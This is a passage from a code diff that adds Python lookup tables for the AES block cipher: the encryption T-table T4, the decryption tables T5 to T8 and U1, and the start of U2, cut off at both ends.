0x69bbd269, 0xd970a9d9, 0x8e89078e, 0x94a73394, 0x9bb62d9b, 0x1e223c1e, 0x87921587, 0xe920c9e9, 0xce4987ce, 0x55ffaa55, 0x28785028, 0xdf7aa5df, 0x8c8f038c, 0xa1f859a1, 0x89800989, 0x0d171a0d, 0xbfda65bf, 0xe631d7e6, 0x42c68442, 0x68b8d068, 0x41c38241, 0x99b02999, 0x2d775a2d, 0x0f111e0f, 0xb0cb7bb0, 0x54fca854, 0xbbd66dbb, 0x163a2c16 ] + T4 = [ 0x6363a5c6, 0x7c7c84f8, 0x777799ee, 0x7b7b8df6, 0xf2f20dff, 0x6b6bbdd6, 0x6f6fb1de, 0xc5c55491, 0x30305060, 0x01010302, 0x6767a9ce, 0x2b2b7d56, 0xfefe19e7, 0xd7d762b5, 0xababe64d, 0x76769aec, 0xcaca458f, 0x82829d1f, 0xc9c94089, 0x7d7d87fa, 0xfafa15ef, 0x5959ebb2, 0x4747c98e, 0xf0f00bfb, 0xadadec41, 0xd4d467b3, 0xa2a2fd5f, 0xafafea45, 0x9c9cbf23, 0xa4a4f753, 0x727296e4, 0xc0c05b9b, 0xb7b7c275, 0xfdfd1ce1, 0x9393ae3d, 0x26266a4c, 0x36365a6c, 0x3f3f417e, 0xf7f702f5, 0xcccc4f83, 0x34345c68, 0xa5a5f451, 0xe5e534d1, 0xf1f108f9, 0x717193e2, 0xd8d873ab, 0x31315362, 0x15153f2a, 0x04040c08, 0xc7c75295, 0x23236546, 0xc3c35e9d, 0x18182830, 0x9696a137, 0x05050f0a, 0x9a9ab52f, 0x0707090e, 0x12123624, 0x80809b1b, 0xe2e23ddf, 0xebeb26cd, 0x2727694e, 0xb2b2cd7f, 0x75759fea, 0x09091b12, 0x83839e1d, 0x2c2c7458, 0x1a1a2e34, 0x1b1b2d36, 0x6e6eb2dc, 0x5a5aeeb4, 0xa0a0fb5b, 0x5252f6a4, 0x3b3b4d76, 0xd6d661b7, 0xb3b3ce7d, 0x29297b52, 0xe3e33edd, 0x2f2f715e, 0x84849713, 0x5353f5a6, 0xd1d168b9, 0x00000000, 0xeded2cc1, 0x20206040, 0xfcfc1fe3, 0xb1b1c879, 0x5b5bedb6, 0x6a6abed4, 0xcbcb468d, 0xbebed967, 0x39394b72, 0x4a4ade94, 0x4c4cd498, 0x5858e8b0, 0xcfcf4a85, 0xd0d06bbb, 0xefef2ac5, 0xaaaae54f, 0xfbfb16ed, 0x4343c586, 0x4d4dd79a, 0x33335566, 0x85859411, 0x4545cf8a, 0xf9f910e9, 0x02020604, 0x7f7f81fe, 0x5050f0a0, 0x3c3c4478, 0x9f9fba25, 0xa8a8e34b, 0x5151f3a2, 0xa3a3fe5d, 0x4040c080, 0x8f8f8a05, 0x9292ad3f, 0x9d9dbc21, 0x38384870, 0xf5f504f1, 0xbcbcdf63, 0xb6b6c177, 0xdada75af, 0x21216342, 0x10103020, 0xffff1ae5, 0xf3f30efd, 0xd2d26dbf, 0xcdcd4c81, 0x0c0c1418, 0x13133526, 0xecec2fc3, 0x5f5fe1be, 0x9797a235, 0x4444cc88, 0x1717392e, 0xc4c45793, 0xa7a7f255, 0x7e7e82fc, 0x3d3d477a, 0x6464acc8, 0x5d5de7ba, 0x19192b32, 0x737395e6, 0x6060a0c0, 0x81819819, 0x4f4fd19e, 0xdcdc7fa3, 0x22226644, 0x2a2a7e54, 0x9090ab3b, 0x8888830b, 0x4646ca8c, 0xeeee29c7, 0xb8b8d36b, 0x14143c28, 0xdede79a7, 0x5e5ee2bc, 0x0b0b1d16, 0xdbdb76ad, 0xe0e03bdb, 0x32325664, 0x3a3a4e74, 0x0a0a1e14, 0x4949db92, 0x06060a0c, 0x24246c48, 0x5c5ce4b8, 0xc2c25d9f, 0xd3d36ebd, 0xacacef43, 0x6262a6c4, 0x9191a839, 0x9595a431, 0xe4e437d3, 0x79798bf2, 0xe7e732d5, 0xc8c8438b, 0x3737596e, 0x6d6db7da, 0x8d8d8c01, 0xd5d564b1, 0x4e4ed29c, 0xa9a9e049, 0x6c6cb4d8, 0x5656faac, 0xf4f407f3, 0xeaea25cf, 0x6565afca, 0x7a7a8ef4, 0xaeaee947, 0x08081810, 0xbabad56f, 0x787888f0, 0x25256f4a, 0x2e2e725c, 0x1c1c2438, 0xa6a6f157, 0xb4b4c773, 0xc6c65197, 0xe8e823cb, 0xdddd7ca1, 0x74749ce8, 0x1f1f213e, 0x4b4bdd96, 0xbdbddc61, 0x8b8b860d, 0x8a8a850f, 0x707090e0, 0x3e3e427c, 0xb5b5c471, 0x6666aacc, 0x4848d890, 0x03030506, 0xf6f601f7, 0x0e0e121c, 0x6161a3c2, 0x35355f6a, 0x5757f9ae, 0xb9b9d069, 0x86869117, 0xc1c15899, 0x1d1d273a, 0x9e9eb927, 0xe1e138d9, 0xf8f813eb, 0x9898b32b, 0x11113322, 0x6969bbd2, 0xd9d970a9, 0x8e8e8907, 0x9494a733, 0x9b9bb62d, 0x1e1e223c, 0x87879215, 0xe9e920c9, 0xcece4987, 0x5555ffaa, 0x28287850, 0xdfdf7aa5, 0x8c8c8f03, 0xa1a1f859, 0x89898009, 0x0d0d171a, 0xbfbfda65, 0xe6e631d7, 0x4242c684, 0x6868b8d0, 0x4141c382, 0x9999b029, 0x2d2d775a, 0x0f0f111e, 0xb0b0cb7b, 0x5454fca8, 0xbbbbd66d, 0x16163a2c ] + + # Transformations for decryption + T5 = [ 0x51f4a750, 0x7e416553, 0x1a17a4c3, 0x3a275e96, 0x3bab6bcb, 0x1f9d45f1, 0xacfa58ab, 0x4be30393, 0x2030fa55, 0xad766df6, 0x88cc7691, 0xf5024c25, 0x4fe5d7fc, 0xc52acbd7, 0x26354480, 0xb562a38f, 0xdeb15a49, 0x25ba1b67, 0x45ea0e98, 0x5dfec0e1, 0xc32f7502, 0x814cf012, 0x8d4697a3, 0x6bd3f9c6, 0x038f5fe7, 0x15929c95, 0xbf6d7aeb, 0x955259da, 0xd4be832d, 0x587421d3, 0x49e06929, 0x8ec9c844, 0x75c2896a, 0xf48e7978, 0x99583e6b, 0x27b971dd, 0xbee14fb6, 0xf088ad17, 0xc920ac66, 0x7dce3ab4, 0x63df4a18, 0xe51a3182, 0x97513360, 0x62537f45, 0xb16477e0, 0xbb6bae84, 0xfe81a01c, 0xf9082b94, 0x70486858, 0x8f45fd19, 0x94de6c87, 0x527bf8b7, 0xab73d323, 0x724b02e2, 0xe31f8f57, 0x6655ab2a, 0xb2eb2807, 0x2fb5c203, 0x86c57b9a, 0xd33708a5, 0x302887f2, 0x23bfa5b2, 0x02036aba, 0xed16825c, 0x8acf1c2b, 0xa779b492, 0xf307f2f0, 0x4e69e2a1, 0x65daf4cd, 0x0605bed5, 0xd134621f, 0xc4a6fe8a, 0x342e539d, 0xa2f355a0, 0x058ae132, 0xa4f6eb75, 0x0b83ec39, 0x4060efaa, 0x5e719f06, 0xbd6e1051, 0x3e218af9, 0x96dd063d, 0xdd3e05ae, 0x4de6bd46, 0x91548db5, 0x71c45d05, 0x0406d46f, 0x605015ff, 0x1998fb24, 0xd6bde997, 0x894043cc, 0x67d99e77, 0xb0e842bd, 0x07898b88, 0xe7195b38, 0x79c8eedb, 0xa17c0a47, 0x7c420fe9, 0xf8841ec9, 0x00000000, 0x09808683, 0x322bed48, 0x1e1170ac, 0x6c5a724e, 0xfd0efffb, 0x0f853856, 0x3daed51e, 0x362d3927, 0x0a0fd964, 0x685ca621, 0x9b5b54d1, 0x24362e3a, 0x0c0a67b1, 0x9357e70f, 0xb4ee96d2, 0x1b9b919e, 0x80c0c54f, 0x61dc20a2, 0x5a774b69, 0x1c121a16, 0xe293ba0a, 0xc0a02ae5, 0x3c22e043, 0x121b171d, 0x0e090d0b, 0xf28bc7ad, 0x2db6a8b9, 0x141ea9c8, 0x57f11985, 0xaf75074c, 0xee99ddbb, 0xa37f60fd, 0xf701269f, 0x5c72f5bc, 0x44663bc5, 0x5bfb7e34, 0x8b432976, 0xcb23c6dc, 0xb6edfc68, 0xb8e4f163, 0xd731dcca, 0x42638510, 0x13972240, 0x84c61120, 0x854a247d, 0xd2bb3df8, 0xaef93211, 0xc729a16d, 0x1d9e2f4b, 0xdcb230f3, 0x0d8652ec, 0x77c1e3d0, 0x2bb3166c, 0xa970b999, 0x119448fa, 0x47e96422, 0xa8fc8cc4, 0xa0f03f1a, 0x567d2cd8, 0x223390ef, 0x87494ec7, 0xd938d1c1, 0x8ccaa2fe, 0x98d40b36, 0xa6f581cf, 0xa57ade28, 0xdab78e26, 0x3fadbfa4, 0x2c3a9de4, 0x5078920d, 0x6a5fcc9b, 0x547e4662, 0xf68d13c2, 0x90d8b8e8, 0x2e39f75e, 0x82c3aff5, 0x9f5d80be, 0x69d0937c, 0x6fd52da9, 0xcf2512b3, 0xc8ac993b, 0x10187da7, 0xe89c636e, 0xdb3bbb7b, 0xcd267809, 0x6e5918f4, 0xec9ab701, 0x834f9aa8, 0xe6956e65, 0xaaffe67e, 0x21bccf08, 0xef15e8e6, 0xbae79bd9, 0x4a6f36ce, 0xea9f09d4, 0x29b07cd6, 0x31a4b2af, 0x2a3f2331, 0xc6a59430, 0x35a266c0, 0x744ebc37, 0xfc82caa6, 0xe090d0b0, 0x33a7d815, 0xf104984a, 0x41ecdaf7, 0x7fcd500e, 0x1791f62f, 0x764dd68d, 0x43efb04d, 0xccaa4d54, 0xe49604df, 0x9ed1b5e3, 0x4c6a881b, 0xc12c1fb8, 0x4665517f, 0x9d5eea04, 0x018c355d, 0xfa877473, 0xfb0b412e, 0xb3671d5a, 0x92dbd252, 0xe9105633, 0x6dd64713, 0x9ad7618c, 0x37a10c7a, 0x59f8148e, 0xeb133c89, 0xcea927ee, 0xb761c935, 0xe11ce5ed, 0x7a47b13c, 0x9cd2df59, 0x55f2733f, 0x1814ce79, 0x73c737bf, 0x53f7cdea, 0x5ffdaa5b, 0xdf3d6f14, 0x7844db86, 0xcaaff381, 0xb968c43e, 0x3824342c, 0xc2a3405f, 0x161dc372, 0xbce2250c, 0x283c498b, 0xff0d9541, 0x39a80171, 0x080cb3de, 0xd8b4e49c, 0x6456c190, 0x7bcb8461, 0xd532b670, 0x486c5c74, 0xd0b85742 ] + T6 = [ 0x5051f4a7, 0x537e4165, 0xc31a17a4, 0x963a275e, 0xcb3bab6b, 0xf11f9d45, 0xabacfa58, 0x934be303, 0x552030fa, 0xf6ad766d, 0x9188cc76, 0x25f5024c, 0xfc4fe5d7, 0xd7c52acb, 0x80263544, 0x8fb562a3, 0x49deb15a, 0x6725ba1b, 0x9845ea0e, 0xe15dfec0, 0x02c32f75, 0x12814cf0, 0xa38d4697, 0xc66bd3f9, 0xe7038f5f, 0x9515929c, 0xebbf6d7a, 0xda955259, 0x2dd4be83, 0xd3587421, 0x2949e069, 0x448ec9c8, 0x6a75c289, 0x78f48e79, 0x6b99583e, 0xdd27b971, 0xb6bee14f, 0x17f088ad, 0x66c920ac, 0xb47dce3a, 0x1863df4a, 0x82e51a31, 0x60975133, 0x4562537f, 0xe0b16477, 0x84bb6bae, 0x1cfe81a0, 0x94f9082b, 0x58704868, 0x198f45fd, 0x8794de6c, 0xb7527bf8, 0x23ab73d3, 0xe2724b02, 0x57e31f8f, 0x2a6655ab, 0x07b2eb28, 0x032fb5c2, 0x9a86c57b, 0xa5d33708, 0xf2302887, 0xb223bfa5, 0xba02036a, 0x5ced1682, 0x2b8acf1c, 0x92a779b4, 0xf0f307f2, 0xa14e69e2, 0xcd65daf4, 0xd50605be, 0x1fd13462, 0x8ac4a6fe, 0x9d342e53, 0xa0a2f355, 0x32058ae1, 0x75a4f6eb, 0x390b83ec, 0xaa4060ef, 0x065e719f, 0x51bd6e10, 0xf93e218a, 0x3d96dd06, 0xaedd3e05, 0x464de6bd, 0xb591548d, 0x0571c45d, 0x6f0406d4, 0xff605015, 0x241998fb, 0x97d6bde9, 0xcc894043, 0x7767d99e, 0xbdb0e842, 0x8807898b, 0x38e7195b, 0xdb79c8ee, 0x47a17c0a, 0xe97c420f, 0xc9f8841e, 0x00000000, 0x83098086, 0x48322bed, 0xac1e1170, 0x4e6c5a72, 0xfbfd0eff, 0x560f8538, 0x1e3daed5, 0x27362d39, 0x640a0fd9, 0x21685ca6, 0xd19b5b54, 0x3a24362e, 0xb10c0a67, 0x0f9357e7, 0xd2b4ee96, 0x9e1b9b91, 0x4f80c0c5, 0xa261dc20, 0x695a774b, 0x161c121a, 0x0ae293ba, 0xe5c0a02a, 0x433c22e0, 0x1d121b17, 0x0b0e090d, 0xadf28bc7, 0xb92db6a8, 0xc8141ea9, 0x8557f119, 0x4caf7507, 0xbbee99dd, 0xfda37f60, 0x9ff70126, 0xbc5c72f5, 0xc544663b, 0x345bfb7e, 0x768b4329, 0xdccb23c6, 0x68b6edfc, 0x63b8e4f1, 0xcad731dc, 0x10426385, 0x40139722, 0x2084c611, 0x7d854a24, 0xf8d2bb3d, 0x11aef932, 0x6dc729a1, 0x4b1d9e2f, 0xf3dcb230, 0xec0d8652, 0xd077c1e3, 0x6c2bb316, 0x99a970b9, 0xfa119448, 0x2247e964, 0xc4a8fc8c, 0x1aa0f03f, 0xd8567d2c, 0xef223390, 0xc787494e, 0xc1d938d1, 0xfe8ccaa2, 0x3698d40b, 0xcfa6f581, 0x28a57ade, 0x26dab78e, 0xa43fadbf, 0xe42c3a9d, 0x0d507892, 0x9b6a5fcc, 0x62547e46, 0xc2f68d13, 0xe890d8b8, 0x5e2e39f7, 0xf582c3af, 0xbe9f5d80, 0x7c69d093, 0xa96fd52d, 0xb3cf2512, 0x3bc8ac99, 0xa710187d, 0x6ee89c63, 0x7bdb3bbb, 0x09cd2678, 0xf46e5918, 0x01ec9ab7, 0xa8834f9a, 0x65e6956e, 0x7eaaffe6, 0x0821bccf, 0xe6ef15e8, 0xd9bae79b, 0xce4a6f36, 0xd4ea9f09, 0xd629b07c, 0xaf31a4b2, 0x312a3f23, 0x30c6a594, 0xc035a266, 0x37744ebc, 0xa6fc82ca, 0xb0e090d0, 0x1533a7d8, 0x4af10498, 0xf741ecda, 0x0e7fcd50, 0x2f1791f6, 0x8d764dd6, 0x4d43efb0, 0x54ccaa4d, 0xdfe49604, 0xe39ed1b5, 0x1b4c6a88, 0xb8c12c1f, 0x7f466551, 0x049d5eea, 0x5d018c35, 0x73fa8774, 0x2efb0b41, 0x5ab3671d, 0x5292dbd2, 0x33e91056, 0x136dd647, 0x8c9ad761, 0x7a37a10c, 0x8e59f814, 0x89eb133c, 0xeecea927, 0x35b761c9, 0xede11ce5, 0x3c7a47b1, 0x599cd2df, 0x3f55f273, 0x791814ce, 0xbf73c737, 0xea53f7cd, 0x5b5ffdaa, 0x14df3d6f, 0x867844db, 0x81caaff3, 0x3eb968c4, 0x2c382434, 0x5fc2a340, 0x72161dc3, 0x0cbce225, 0x8b283c49, 0x41ff0d95, 0x7139a801, 0xde080cb3, 0x9cd8b4e4, 0x906456c1, 0x617bcb84, 0x70d532b6, 0x74486c5c, 0x42d0b857 ] + T7 = [ 0xa75051f4, 0x65537e41, 0xa4c31a17, 0x5e963a27, 0x6bcb3bab, 0x45f11f9d, 0x58abacfa, 0x03934be3, 0xfa552030, 0x6df6ad76, 0x769188cc, 0x4c25f502, 0xd7fc4fe5, 0xcbd7c52a, 0x44802635, 0xa38fb562, 0x5a49deb1, 0x1b6725ba, 0x0e9845ea, 0xc0e15dfe, 0x7502c32f, 0xf012814c, 0x97a38d46, 0xf9c66bd3, 0x5fe7038f, 0x9c951592, 0x7aebbf6d, 0x59da9552, 0x832dd4be, 0x21d35874, 0x692949e0, 0xc8448ec9, 0x896a75c2, 0x7978f48e, 0x3e6b9958, 0x71dd27b9, 0x4fb6bee1, 0xad17f088, 0xac66c920, 0x3ab47dce, 0x4a1863df, 0x3182e51a, 0x33609751, 0x7f456253, 0x77e0b164, 0xae84bb6b, 0xa01cfe81, 0x2b94f908, 0x68587048, 0xfd198f45, 0x6c8794de, 0xf8b7527b, 0xd323ab73, 0x02e2724b, 0x8f57e31f, 0xab2a6655, 0x2807b2eb, 0xc2032fb5, 0x7b9a86c5, 0x08a5d337, 0x87f23028, 0xa5b223bf, 0x6aba0203, 0x825ced16, 0x1c2b8acf, 0xb492a779, 0xf2f0f307, 0xe2a14e69, 0xf4cd65da, 0xbed50605, 0x621fd134, 0xfe8ac4a6, 0x539d342e, 0x55a0a2f3, 0xe132058a, 0xeb75a4f6, 0xec390b83, 0xefaa4060, 0x9f065e71, 0x1051bd6e, 0x8af93e21, 0x063d96dd, 0x05aedd3e, 0xbd464de6, 0x8db59154, 0x5d0571c4, 0xd46f0406, 0x15ff6050, 0xfb241998, 0xe997d6bd, 0x43cc8940, 0x9e7767d9, 0x42bdb0e8, 0x8b880789, 0x5b38e719, 0xeedb79c8, 0x0a47a17c, 0x0fe97c42, 0x1ec9f884, 0x00000000, 0x86830980, 0xed48322b, 0x70ac1e11, 0x724e6c5a, 0xfffbfd0e, 0x38560f85, 0xd51e3dae, 0x3927362d, 0xd9640a0f, 0xa621685c, 0x54d19b5b, 0x2e3a2436, 0x67b10c0a, 0xe70f9357, 0x96d2b4ee, 0x919e1b9b, 0xc54f80c0, 0x20a261dc, 0x4b695a77, 0x1a161c12, 0xba0ae293, 0x2ae5c0a0, 0xe0433c22, 0x171d121b, 0x0d0b0e09, 0xc7adf28b, 0xa8b92db6, 0xa9c8141e, 0x198557f1, 0x074caf75, 0xddbbee99, 0x60fda37f, 0x269ff701, 0xf5bc5c72, 0x3bc54466, 0x7e345bfb, 0x29768b43, 0xc6dccb23, 0xfc68b6ed, 0xf163b8e4, 0xdccad731, 0x85104263, 0x22401397, 0x112084c6, 0x247d854a, 0x3df8d2bb, 0x3211aef9, 0xa16dc729, 0x2f4b1d9e, 0x30f3dcb2, 0x52ec0d86, 0xe3d077c1, 0x166c2bb3, 0xb999a970, 0x48fa1194, 0x642247e9, 0x8cc4a8fc, 0x3f1aa0f0, 0x2cd8567d, 0x90ef2233, 0x4ec78749, 0xd1c1d938, 0xa2fe8cca, 0x0b3698d4, 0x81cfa6f5, 0xde28a57a, 0x8e26dab7, 0xbfa43fad, 0x9de42c3a, 0x920d5078, 0xcc9b6a5f, 0x4662547e, 0x13c2f68d, 0xb8e890d8, 0xf75e2e39, 0xaff582c3, 0x80be9f5d, 0x937c69d0, 0x2da96fd5, 0x12b3cf25, 0x993bc8ac, 0x7da71018, 0x636ee89c, 0xbb7bdb3b, 0x7809cd26, 0x18f46e59, 0xb701ec9a, 0x9aa8834f, 0x6e65e695, 0xe67eaaff, 0xcf0821bc, 0xe8e6ef15, 0x9bd9bae7, 0x36ce4a6f, 0x09d4ea9f, 0x7cd629b0, 0xb2af31a4, 0x23312a3f, 0x9430c6a5, 0x66c035a2, 0xbc37744e, 0xcaa6fc82, 0xd0b0e090, 0xd81533a7, 0x984af104, 0xdaf741ec, 0x500e7fcd, 0xf62f1791, 0xd68d764d, 0xb04d43ef, 0x4d54ccaa, 0x04dfe496, 0xb5e39ed1, 0x881b4c6a, 0x1fb8c12c, 0x517f4665, 0xea049d5e, 0x355d018c, 0x7473fa87, 0x412efb0b, 0x1d5ab367, 0xd25292db, 0x5633e910, 0x47136dd6, 0x618c9ad7, 0x0c7a37a1, 0x148e59f8, 0x3c89eb13, 0x27eecea9, 0xc935b761, 0xe5ede11c, 0xb13c7a47, 0xdf599cd2, 0x733f55f2, 0xce791814, 0x37bf73c7, 0xcdea53f7, 0xaa5b5ffd, 0x6f14df3d, 0xdb867844, 0xf381caaf, 0xc43eb968, 0x342c3824, 0x405fc2a3, 0xc372161d, 0x250cbce2, 0x498b283c, 0x9541ff0d, 0x017139a8, 0xb3de080c, 0xe49cd8b4, 0xc1906456, 0x84617bcb, 0xb670d532, 0x5c74486c, 0x5742d0b8 ] + T8 = [ 0xf4a75051, 0x4165537e, 0x17a4c31a, 0x275e963a, 0xab6bcb3b, 0x9d45f11f, 0xfa58abac, 0xe303934b, 0x30fa5520, 0x766df6ad, 0xcc769188, 0x024c25f5, 0xe5d7fc4f, 0x2acbd7c5, 0x35448026, 0x62a38fb5, 0xb15a49de, 0xba1b6725, 0xea0e9845, 0xfec0e15d, 0x2f7502c3, 0x4cf01281, 0x4697a38d, 0xd3f9c66b, 0x8f5fe703, 0x929c9515, 0x6d7aebbf, 0x5259da95, 0xbe832dd4, 0x7421d358, 0xe0692949, 0xc9c8448e, 0xc2896a75, 0x8e7978f4, 0x583e6b99, 0xb971dd27, 0xe14fb6be, 0x88ad17f0, 0x20ac66c9, 0xce3ab47d, 0xdf4a1863, 0x1a3182e5, 0x51336097, 0x537f4562, 0x6477e0b1, 0x6bae84bb, 0x81a01cfe, 0x082b94f9, 0x48685870, 0x45fd198f, 0xde6c8794, 0x7bf8b752, 0x73d323ab, 0x4b02e272, 0x1f8f57e3, 0x55ab2a66, 0xeb2807b2, 0xb5c2032f, 0xc57b9a86, 0x3708a5d3, 0x2887f230, 0xbfa5b223, 0x036aba02, 0x16825ced, 0xcf1c2b8a, 0x79b492a7, 0x07f2f0f3, 0x69e2a14e, 0xdaf4cd65, 0x05bed506, 0x34621fd1, 0xa6fe8ac4, 0x2e539d34, 0xf355a0a2, 0x8ae13205, 0xf6eb75a4, 0x83ec390b, 0x60efaa40, 0x719f065e, 0x6e1051bd, 0x218af93e, 0xdd063d96, 0x3e05aedd, 0xe6bd464d, 0x548db591, 0xc45d0571, 0x06d46f04, 0x5015ff60, 0x98fb2419, 0xbde997d6, 0x4043cc89, 0xd99e7767, 0xe842bdb0, 0x898b8807, 0x195b38e7, 0xc8eedb79, 0x7c0a47a1, 0x420fe97c, 0x841ec9f8, 0x00000000, 0x80868309, 0x2bed4832, 0x1170ac1e, 0x5a724e6c, 0x0efffbfd, 0x8538560f, 0xaed51e3d, 0x2d392736, 0x0fd9640a, 0x5ca62168, 0x5b54d19b, 0x362e3a24, 0x0a67b10c, 0x57e70f93, 0xee96d2b4, 0x9b919e1b, 0xc0c54f80, 0xdc20a261, 0x774b695a, 0x121a161c, 0x93ba0ae2, 0xa02ae5c0, 0x22e0433c, 0x1b171d12, 0x090d0b0e, 0x8bc7adf2, 0xb6a8b92d, 0x1ea9c814, 0xf1198557, 0x75074caf, 0x99ddbbee, 0x7f60fda3, 0x01269ff7, 0x72f5bc5c, 0x663bc544, 0xfb7e345b, 0x4329768b, 0x23c6dccb, 0xedfc68b6, 0xe4f163b8, 0x31dccad7, 0x63851042, 0x97224013, 0xc6112084, 0x4a247d85, 0xbb3df8d2, 0xf93211ae, 0x29a16dc7, 0x9e2f4b1d, 0xb230f3dc, 0x8652ec0d, 0xc1e3d077, 0xb3166c2b, 0x70b999a9, 0x9448fa11, 0xe9642247, 0xfc8cc4a8, 0xf03f1aa0, 0x7d2cd856, 0x3390ef22, 0x494ec787, 0x38d1c1d9, 0xcaa2fe8c, 0xd40b3698, 0xf581cfa6, 0x7ade28a5, 0xb78e26da, 0xadbfa43f, 0x3a9de42c, 0x78920d50, 0x5fcc9b6a, 0x7e466254, 0x8d13c2f6, 0xd8b8e890, 0x39f75e2e, 0xc3aff582, 0x5d80be9f, 0xd0937c69, 0xd52da96f, 0x2512b3cf, 0xac993bc8, 0x187da710, 0x9c636ee8, 0x3bbb7bdb, 0x267809cd, 0x5918f46e, 0x9ab701ec, 0x4f9aa883, 0x956e65e6, 0xffe67eaa, 0xbccf0821, 0x15e8e6ef, 0xe79bd9ba, 0x6f36ce4a, 0x9f09d4ea, 0xb07cd629, 0xa4b2af31, 0x3f23312a, 0xa59430c6, 0xa266c035, 0x4ebc3774, 0x82caa6fc, 0x90d0b0e0, 0xa7d81533, 0x04984af1, 0xecdaf741, 0xcd500e7f, 0x91f62f17, 0x4dd68d76, 0xefb04d43, 0xaa4d54cc, 0x9604dfe4, 0xd1b5e39e, 0x6a881b4c, 0x2c1fb8c1, 0x65517f46, 0x5eea049d, 0x8c355d01, 0x877473fa, 0x0b412efb, 0x671d5ab3, 0xdbd25292, 0x105633e9, 0xd647136d, 0xd7618c9a, 0xa10c7a37, 0xf8148e59, 0x133c89eb, 0xa927eece, 0x61c935b7, 0x1ce5ede1, 0x47b13c7a, 0xd2df599c, 0xf2733f55, 0x14ce7918, 0xc737bf73, 0xf7cdea53, 0xfdaa5b5f, 0x3d6f14df, 0x44db8678, 0xaff381ca, 0x68c43eb9, 0x24342c38, 0xa3405fc2, 0x1dc37216, 0xe2250cbc, 0x3c498b28, 0x0d9541ff, 0xa8017139, 0x0cb3de08, 0xb4e49cd8, 0x56c19064, 0xcb84617b, 0x32b670d5, 0x6c5c7448, 0xb85742d0 ] + + # Transformations for decryption key expansion + U1 = [ 0x00000000, 0x0e090d0b, 0x1c121a16, 0x121b171d, 0x3824342c, 0x362d3927, 0x24362e3a, 0x2a3f2331, 0x70486858, 0x7e416553, 0x6c5a724e, 0x62537f45, 0x486c5c74, 0x4665517f, 0x547e4662, 0x5a774b69, 0xe090d0b0, 0xee99ddbb, 0xfc82caa6, 0xf28bc7ad, 0xd8b4e49c, 0xd6bde997, 0xc4a6fe8a, 0xcaaff381, 0x90d8b8e8, 0x9ed1b5e3, 0x8ccaa2fe, 0x82c3aff5, 0xa8fc8cc4, 0xa6f581cf, 0xb4ee96d2, 0xbae79bd9, 0xdb3bbb7b, 0xd532b670, 0xc729a16d, 0xc920ac66, 0xe31f8f57, 0xed16825c, 0xff0d9541, 0xf104984a, 0xab73d323, 0xa57ade28, 0xb761c935, 0xb968c43e, 0x9357e70f, 0x9d5eea04, 0x8f45fd19, 0x814cf012, 0x3bab6bcb, 0x35a266c0, 0x27b971dd, 0x29b07cd6, 0x038f5fe7, 0x0d8652ec, 0x1f9d45f1, 0x119448fa, 0x4be30393, 0x45ea0e98, 0x57f11985, 0x59f8148e, 0x73c737bf, 0x7dce3ab4, 0x6fd52da9, 0x61dc20a2, 0xad766df6, 0xa37f60fd, 0xb16477e0, 0xbf6d7aeb, 0x955259da, 0x9b5b54d1, 0x894043cc, 0x87494ec7, 0xdd3e05ae, 0xd33708a5, 0xc12c1fb8, 0xcf2512b3, 0xe51a3182, 0xeb133c89, 0xf9082b94, 0xf701269f, 0x4de6bd46, 0x43efb04d, 0x51f4a750, 0x5ffdaa5b, 0x75c2896a, 0x7bcb8461, 0x69d0937c, 0x67d99e77, 0x3daed51e, 0x33a7d815, 0x21bccf08, 0x2fb5c203, 0x058ae132, 0x0b83ec39, 0x1998fb24, 0x1791f62f, 0x764dd68d, 0x7844db86, 0x6a5fcc9b, 0x6456c190, 0x4e69e2a1, 0x4060efaa, 0x527bf8b7, 0x5c72f5bc, 0x0605bed5, 0x080cb3de, 0x1a17a4c3, 0x141ea9c8, 0x3e218af9, 0x302887f2, 0x223390ef, 0x2c3a9de4, 0x96dd063d, 0x98d40b36, 0x8acf1c2b, 0x84c61120, 0xaef93211, 0xa0f03f1a, 0xb2eb2807, 0xbce2250c, 0xe6956e65, 0xe89c636e, 0xfa877473, 0xf48e7978, 0xdeb15a49, 0xd0b85742, 0xc2a3405f, 0xccaa4d54, 0x41ecdaf7, 0x4fe5d7fc, 0x5dfec0e1, 0x53f7cdea, 0x79c8eedb, 0x77c1e3d0, 0x65daf4cd, 0x6bd3f9c6, 0x31a4b2af, 0x3fadbfa4, 0x2db6a8b9, 0x23bfa5b2, 0x09808683, 0x07898b88, 0x15929c95, 0x1b9b919e, 0xa17c0a47, 0xaf75074c, 0xbd6e1051, 0xb3671d5a, 0x99583e6b, 0x97513360, 0x854a247d, 0x8b432976, 0xd134621f, 0xdf3d6f14, 0xcd267809, 0xc32f7502, 0xe9105633, 0xe7195b38, 0xf5024c25, 0xfb0b412e, 0x9ad7618c, 0x94de6c87, 0x86c57b9a, 0x88cc7691, 0xa2f355a0, 0xacfa58ab, 0xbee14fb6, 0xb0e842bd, 0xea9f09d4, 0xe49604df, 0xf68d13c2, 0xf8841ec9, 0xd2bb3df8, 0xdcb230f3, 0xcea927ee, 0xc0a02ae5, 0x7a47b13c, 0x744ebc37, 0x6655ab2a, 0x685ca621, 0x42638510, 0x4c6a881b, 0x5e719f06, 0x5078920d, 0x0a0fd964, 0x0406d46f, 0x161dc372, 0x1814ce79, 0x322bed48, 0x3c22e043, 0x2e39f75e, 0x2030fa55, 0xec9ab701, 0xe293ba0a, 0xf088ad17, 0xfe81a01c, 0xd4be832d, 0xdab78e26, 0xc8ac993b, 0xc6a59430, 0x9cd2df59, 0x92dbd252, 0x80c0c54f, 0x8ec9c844, 0xa4f6eb75, 0xaaffe67e, 0xb8e4f163, 0xb6edfc68, 0x0c0a67b1, 0x02036aba, 0x10187da7, 0x1e1170ac, 0x342e539d, 0x3a275e96, 0x283c498b, 0x26354480, 0x7c420fe9, 0x724b02e2, 0x605015ff, 0x6e5918f4, 0x44663bc5, 0x4a6f36ce, 0x587421d3, 0x567d2cd8, 0x37a10c7a, 0x39a80171, 0x2bb3166c, 0x25ba1b67, 0x0f853856, 0x018c355d, 0x13972240, 0x1d9e2f4b, 0x47e96422, 0x49e06929, 0x5bfb7e34, 0x55f2733f, 0x7fcd500e, 0x71c45d05, 0x63df4a18, 0x6dd64713, 0xd731dcca, 0xd938d1c1, 0xcb23c6dc, 0xc52acbd7, 0xef15e8e6, 0xe11ce5ed, 0xf307f2f0, 0xfd0efffb, 0xa779b492, 0xa970b999, 0xbb6bae84, 0xb562a38f, 0x9f5d80be, 0x91548db5, 0x834f9aa8, 0x8d4697a3 ] + U2 = [ 0x00000000, 0x0b0e090d, 0x161c121a, 0x1d121b17, 0x2c382434, 0x27362d39, 0x3a24362e, 0x312a3f23, 0x58704868, 0x537e4165, 0x4e6c5a72, 0x4562537f, 0x74486c5c, 0x7f466551, 0x62547e46, 0x695a774b, 0xb0e090d0, 